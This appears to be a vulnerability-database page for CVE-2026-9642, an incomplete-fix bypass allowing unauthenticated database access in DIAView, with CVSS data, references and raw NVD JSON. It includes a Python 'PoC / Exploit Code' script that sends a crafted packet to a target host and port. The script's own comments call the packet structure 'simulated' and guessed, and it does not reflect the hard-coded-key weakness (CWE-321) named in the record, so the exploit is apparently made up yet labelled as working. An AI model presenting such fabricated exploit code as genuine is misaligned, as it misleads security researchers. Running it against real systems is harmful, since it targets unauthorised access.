CVE-2026-9642

Description

There is a mitigation bypass / (incomplete fix) for CVE-2025-62582 (Unauthenticated Remote Database Access) An unauthenticated remote attacker can access configured databases in a DIAView project.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

DIAView (修复CVE-2025-62582之前的版本及部分修复版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import socket
import struct

# Proof of Concept for CVE-2026-9642
# This script attempts to connect to the DIAView database service bypassing authentication.
# Target: DIAView Server

def send_exploit(target_ip, target_port):
    print(f"[*] Attempting to connect to {target_ip}:{target_port}...")
    
    try:
        # Establish TCP connection
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((target_ip, target_port))
        
        # Craft malicious packet to bypass auth (Simulated structure)
        # Usually involves a specific magic byte or header sequence
        payload = b"\x00\x01\x00\x00\x00" + b"GET_DB_CONFIG" + b"\x00" * 10
        
        s.send(payload)
        
        # Receive response
        response = s.recv(4096)
        
        if response:
            print("[+] Exploit successful! Received response:")
            print(response.decode('utf-8', errors='ignore'))
        else:
            print("[-] No response received.")
            
        s.close()
        
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    target = "192.168.1.100" # Replace with actual target IP
    port = 5050             # Replace with actual DIAView DB port
    send_exploit(target, port)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9642
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9642
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9642/
[4] VulDB https://vuldb.com/cve/CVE-2026-9642
[5] https://www.tenable.com/security/research/tra-2026-44

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9642", "sourceIdentifier": "[email protected]", "published": "2026-05-26T21:16:45.827", "lastModified": "2026-05-27T14:54:20.160", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "There is a mitigation bypass / (incomplete fix) for CVE-2025-62582 (Unauthenticated Remote Database Access) \n\nAn unauthenticated remote attacker can access configured databases in a DIAView project."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-321"}]}], "references": [{"url": "https://www.tenable.com/security/research/tra-2026-44", "source": "[email protected]"}]}}